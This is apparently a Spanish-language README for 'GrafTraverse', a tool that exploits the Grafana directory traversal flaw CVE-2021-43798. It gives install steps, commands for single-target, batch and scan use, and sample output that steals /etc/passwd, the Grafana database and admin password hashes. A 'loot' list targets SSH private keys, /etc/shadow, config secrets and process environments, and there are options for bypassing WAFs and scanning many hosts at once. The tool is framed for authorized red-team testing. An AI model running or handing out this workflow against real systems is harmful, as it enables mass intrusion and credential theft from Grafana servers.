
CVE-2021-43798 MiNi Exploitation Framework
Herramienta de automatización de línea de comandos para pruebas de seguridad autorizadas de Directory Traversal de Grafana (CVE-2021-43798).
CVE-2021-43798 es una vulnerabilidad de directory traversal no autenticada en Grafana 8.x que permite a atacantes leer archivos arbitrarios en el sistema de archivos subyacente a través del endpoint /public/plugins/. La causa raíz es una sanitización incorrecta de rutas en las solicitudes de assets de plugins, permitiendo secuencias ../ para escapar del directorio previsto.
GrafTraverse es una reescritura completa de la prueba de concepto original. Corrige errores críticos en el manejo de solicitudes, añade escaneo por lotes multi-hilo, descubrimiento automático de plugins, extracción de credenciales y generación de informes estructurados, convirtiéndolo en una herramienta de nivel productivo para equipos rojos y pentesters.
# Clonar el repositorio
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Asegurarse de que requests esté disponible (viene con Kali)
pip3 install requests
# Hacer ejecutable
chmod +x GrafTraverse.py
GrafTraverse utiliza una CLI basada en subcomandos. Todos los comandos soportan --help.
Lanzar el menú interactivo contra un host:
python3 GrafTraverse.py single -u http://IP:PUERTO
============================================================
MODO INTERACTIVO
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Ruta personalizada
5. Botín automatizado completo
6. Escanear plugins
7. Salir
============================================================
Identificar rápidamente qué endpoint de plugin es vulnerable sin explotación:
python3 GrafTraverse.py scan -u http://objetivo:PUERTO
Cargar objetivos desde un archivo y procesarlos concurrentemente:
python3 GrafTraverse.py batch -l objetivos.txt --workers 10 --csv resultados.csv
Formato de objetivos.txt:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.objetivo.com
# Las líneas que comienzan con # se ignoran
Alimentar una lista de archivos personalizada para traversal profundo:
python3 GrafTraverse.py single -u http://objetivo:3000 --wordlist archivos_sensibles.txt --output-dir ./botin --json log.json
Enrutar a través de Burp Suite y añadir cabeceras personalizadas:
python3 GrafTraverse.py single -u http://objetivo:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Flag | Descripción |
|---|---|
-l, --list | Archivo con URLs de objetivos (obligatorio) |
--workers | Hilos concurrentes (por defecto: 5) |
(todas las banderas de single soportadas) |
scan| Flag | Descripción |
|---|---|
-u, --url | URL del objetivo (obligatorio) |
| (todas las banderas de red soportadas) |
[+] Salida: 20260526_GrafTraverse
[*] Probando: /etc/passwd (vía alertlist)
[+] ÉXITO: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Guardado: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Probando: /var/lib/grafana/grafana.db (vía alertlist)
[+] ÉXITO: /var/lib/grafana/grafana.db (98304 bytes)
[+] Guardado: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extraídos 3 hashes de contraseñas:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
La secuencia de botín integrada intenta recuperar los siguientes archivos en orden:
| Característica | Descripción |
|---|
| Fuerza Bruta Multi-Plugin | Prueba automáticamente más de 40 plugins integrados para encontrar una ruta vulnerable |
| Modo Interactivo | Explotación de un solo objetivo basada en menú con previsualización de archivos en vivo |
| Modo Lote | Escaneo concurrente de múltiples objetivos con número configurable de hilos |
| Modo Lista de Palabras | Enumeración profunda de archivos usando listas de palabras personalizadas |
| Extracción Automática de Hashes | Extrae automáticamente hashes de contraseñas PBKDF2 del archivo grafana.db descargado |
| Registro Estructurado | Exporta resultados a JSON y CSV para informes sin problemas |
| Soporte de Proxy | Enruta el tráfico a través de Burp, ZAP o cualquier proxy HTTP (--proxy) |
| Cabeceras Personalizadas | Inyecta cabeceras arbitrarias para bypass de WAF o tokens de autenticación (-H) |
| Personalización de Traversal | Sobrescribe la profundidad de traversal predeterminada para entornos no estándar (--depth) |
| Filtrado Inteligente | Elimina falsos positivos rechazando respuestas JS/CSS/HTML de plugins |
| Cero Dependencias | Solo requiere requests (preinstalado en Kali / Parrot) |
| Flag | Descripción |
|---|
-u, --url | URL del objetivo (obligatorio) |
--no-download | Modo solo vista, no guardar archivos |
-t, --timeout | Tiempo de espera de solicitud en segundos (por defecto: 10) |
--proxy | URL del proxy HTTP/HTTPS |
-H, --header | Cabecera personalizada (repetible) |
--depth | Cadena de traversal (por defecto: ../../../../../../../../) |
--output-dir | Directorio para guardar los archivos recuperados |
--json | Añadir resultados a un archivo de log JSON |
--csv | Añadir resultados a un archivo de log CSV |
--wordlist | Archivo que contiene rutas a enumerar |
--plugin | Forzar un nombre de plugin específico |
| Archivo | Tipo | Sensibilidad |
|---|
/etc/passwd | Texto | Enumeración de usuarios |
/etc/shadow | Texto | Hashes de contraseñas (raramente legible) |
/etc/hosts | Texto | Topología de red |
/etc/hostname | Texto | Identificación del host |
/etc/grafana/grafana.ini | Texto | Secretos de Grafana y credenciales de BD |
/var/lib/grafana/grafana.db | Binario | BD SQLite con hashes de usuarios y claves API |
/var/log/grafana/grafana.log | Texto | Inteligencia operativa |
/root/.ssh/id_rsa | Texto | Clave privada SSH |
/root/.ssh/authorized_keys | Texto | Mapeo de acceso basado en claves |
/proc/self/environ | Texto | Variables de entorno del proceso |
/proc/self/cmdline | Texto | Argumentos del proceso |
/proc/version | Texto | Versión del kernel |
/proc/mounts | Texto | Estructura del sistema de archivos |
/etc/os-release | Texto | Identificación del SO |
/etc/issue | Texto | Identificación del SO |
/etc/crontab | Texto | Tareas programadas |
/etc/resolv.conf | Texto | Configuración de DNS |